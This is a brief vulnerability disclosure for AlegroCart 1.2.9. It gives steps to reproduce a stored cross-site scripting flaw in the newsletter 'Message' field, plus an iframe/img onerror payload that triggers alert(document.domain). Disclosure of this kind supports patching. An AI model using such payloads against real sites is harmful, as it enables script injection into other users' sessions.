Stored XSS in "Message" Functionality - AlegroCartv1.2.9

[Andrey Stoykov <mwebsec () gmail com>]

# Exploit Title: Stored XSS in "Message" Functionality - alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Stored XSS #1:

Steps to Reproduce:

1. Login as demonstrator account and visit "Customers" > "Newsletter"
2. In "Message" use the following XSS payload

<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>
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